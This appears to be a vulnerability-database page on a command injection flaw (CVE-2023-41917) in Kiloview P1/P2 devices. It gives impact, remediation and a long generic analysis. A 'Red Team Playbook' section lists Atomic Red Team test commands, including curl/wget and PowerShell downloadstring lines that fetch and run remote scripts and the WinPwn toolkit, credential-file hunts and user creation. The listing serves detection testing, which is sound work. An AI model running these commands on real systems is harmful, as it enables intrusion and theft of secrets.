CVE-2023-41917
Overview
This vulnerability is a command injection flaw caused by inadequate input validation in the Speed-Measurement feature of Kiloview P1/P2 devices. The root cause lies in the failure to properly sanitize user-supplied input, allowing shell commands to be appended and executed within the system environment. The affected component is the Speed-Measurement functionality, which processes input parameters without sufficient filtering or validation.
Vulnerability Description
Inadequate input validation exposes the system to potential remote code execution (RCE) risks. Attackers can exploit this vulnerability by appending shell commands to the Speed-Measurement feature, enabling unauthorized code execution.
Impact
An unauthenticated remote attacker can execute arbitrary code on Kiloview P1/P2 devices by exploiting the command injection in the Speed-Measurement feature. This allows full system compromise, including data manipulation, service disruption, or lateral movement within the network. The vulnerability requires only network access and no user interaction, as indicated by CVSS vector AV:N/AC:L/PR:N/UI:N, making exploitation straightforward and highly impactful in operational environments.
Solution
Refer to the advisory NCSC-2024-0273 at https://advisories.ncsc.nl/advisory?id=NCSC-2024-0273 for detailed remediation steps. The vendor recommends applying the latest firmware updates for Kiloview P1/P2 devices that address input validation in the Speed-Measurement feature. Implementing these patches will eliminate the command injection vector. No alternative workarounds are specified in the advisory.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question arises from inadequate input validation within a specific feature of a software system, which allows for potential remote code execution (RCE). This flaw occurs when the application fails to properly sanitize user input, particularly in the Speed-Measurement feature. By appending malicious shell commands to the input, an attacker can manipulate the system into executing arbitrary code. This lack of stringent checks on user inputs creates a significant security gap, as it allows for the execution of commands that the original code was not intended to process. The technical implications of this vulnerability highlight the critical need for robust input validation mechanisms in software development.
Attack vectors for this vulnerability are particularly concerning due to their simplicity and effectiveness. An attacker can exploit the flaw by sending specially crafted requests to the affected system, embedding shell commands within the input parameters. This could be done through various means, such as web forms, API calls, or even direct network requests, depending on how the Speed-Measurement feature is exposed. Once the malicious input is processed, the system may execute the commands with the same privileges as the application, leading to unauthorized access to sensitive data, system manipulation, or even complete system takeover. The ease with which an attacker can exploit this vulnerability underscores the urgent need for organizations to address such weaknesses proactively.
The real-world impact of this vulnerability is profound, particularly for organizations that rely on the affected software for critical operations. A successful exploitation could lead to severe business risks, including data breaches, loss of intellectual property, and significant financial losses due to downtime or remediation efforts. Furthermore, the reputational damage that accompanies such incidents can erode customer trust and lead to long-term consequences for brand integrity. Industries that handle sensitive information, such as finance, healthcare, and critical infrastructure, are especially vulnerable, as the ramifications of an RCE exploit can extend beyond immediate financial losses to regulatory penalties and legal liabilities.
To effectively detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. First, thorough code reviews and security testing should be conducted during the software development lifecycle to identify and rectify input validation flaws before deployment. Employing automated tools for static and dynamic analysis can help uncover potential vulnerabilities early in the development process. Additionally, organizations should implement runtime application self-protection (RASP) solutions that monitor application behavior and can detect anomalous activities indicative of exploitation attempts. Regular security training for developers and staff can also foster a security-first mindset, ensuring that best practices are followed in coding and system configuration.
In conclusion, the inadequacy of input validation within the Speed-Measurement feature presents a critical vulnerability that can lead to remote code execution, posing significant risks to organizations. The ease of exploitation and the potential for severe real-world impacts necessitate immediate attention from cybersecurity professionals. By prioritizing robust input validation, employing comprehensive detection strategies, and fostering a culture of security awareness, organizations can significantly mitigate the risks associated with this vulnerability and enhance their overall security posture.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-41917 |
| advisories.ncsc.nl |
GitHub CVE
|
https://advisories.ncsc.nl/advisory?id=NCSC-2024-0273 |